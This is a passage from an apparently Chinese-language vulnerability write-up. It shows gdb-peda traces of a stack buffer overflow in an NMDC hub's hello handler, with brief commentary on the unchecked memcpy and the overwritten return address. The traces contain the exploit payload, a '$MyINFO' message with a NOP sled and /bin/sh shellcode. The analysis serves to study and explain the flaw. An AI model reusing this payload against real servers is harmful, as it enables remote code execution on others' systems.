"a<<$My\200") arg[2]: 0x144 [------------------------------------stack-------------------------------------] 0000| 0xbfffefb0 --> 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6") 0004| 0xbfffefb4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' <repeats 30 times>, "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' <repeats 42 times>, "a<<$My\200") 0008| 0xbfffefb8 --> 0x144 0012| 0xbfffefbc --> 0xb7e4a5d0 (<_IO_str_init_static_internal+64>: ) 0016| 0xbfffefc0 --> 0x79 ('y') 0020| 0xbfffefc4 --> 0x806c328 ("Pierre") 0024| 0xbfffefc8 --> 0x79 ('y') 0028| 0xbfffefcc --> 0x50 ('P') [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 6, 0x08053f77 in proto_nmdc_state_hello ()
memcpy会将整个畸形payload考入到缓冲区中,这个过程没有对payload的长度进行检查而是直接拷贝,可以看到从recv开始到memcpy都一直没有进行长度控制,接下来返回时。
gdb-peda$ c Continuing. [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0x2c2c2c2c (',,,,') ECX: 0x0 EDX: 0x5 ESI: 0x2c2c2c2c (',,,,') EDI: 0x2c2c2c2c (',,,,') EBP: 0x2c2c2c2c (',,,,') ESP: 0xbffff2bc --> 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001") EIP: 0x8053d2c (<proto_nmdc_state_hello+844>: ret) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8053d29 <proto_nmdc_state_hello+841>: pop esi 0x8053d2a <proto_nmdc_state_hello+842>: pop edi 0x8053d2b <proto_nmdc_state_hello+843>: pop ebp => 0x8053d2c <proto_nmdc_state_hello+844>: ret 0x8053d2d <proto_nmdc_state_hello+845>: lea esi,[esi+0x0] 0x8053d30 <proto_nmdc_state_hello+848>: add esp,0x2ec 0x8053d36 <proto_nmdc_state_hello+854>: xor ebp,ebp 0x8053d38 <proto_nmdc_state_hello+856>: pop ebx [------------------------------------stack-------------------------------------] 0000| 0xbffff2bc --> 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001") 0004| 0xbffff2c0 --> 0x80626d6 --> 0x0 0008| 0xbffff2c4 --> 0xb1b1b1b1 0012| 0xbffff2c8 --> 0xb1b1b1b1 0016| 0xbffff2cc --> 0xb1b1b1b1 0020| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277") 0024| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277") 0028| 0xbffff2d8 --> 0xcacaca24
由于缓冲区溢出,导致返回地址被覆盖,到达可控位置。
gdb-peda$ n [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0x2c2c2c2c (',,,,') ECX: 0x0 EDX: 0x5 ESI: 0x2c2c2c2c (',,,,') EDI: 0x2c2c2c2c (',,,,') EBP: 0x2c2c2c2c (',,,,') ESP: 0xbffff2c0 --> 0x80626d6 --> 0x0 EIP: 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001") EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8066a27 <buf+39>: push esi 0x8066a28 <buf+40>: popa 0x8066a29 <buf+41>: ins BYTE PTR es:[edi],dx => 0x8066a2a <buf+42>: imul esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65 0x8066a32 <buf+50>: imul esp,DWORD PTR [eax],0x50 0x8066a35 <buf+53>: imul esp,DWORD PTR [ebp+0x72],0x247c6572 0x8066a3c <buf+60>: push esi 0x8066a3d <buf+61>: outs dx,BYTE PTR gs:[esi] [------------------------------------stack-------------------------------------] 0000| 0xbffff2c0 --> 0x80626d6 --> 0x0 0004| 0xbffff2c4 --> 0xb1b1b1b1 0008| 0xbffff2c8 --> 0xb1b1b1b1 0012| 0xbffff2cc --> 0xb1b1b1b1 0016| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277") 0020| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277") 0024| 0xbffff2d8 --> 0xcacaca24 0028| 0xbffff2dc --> 0x505a20ca [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08066a2a in buf ()
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK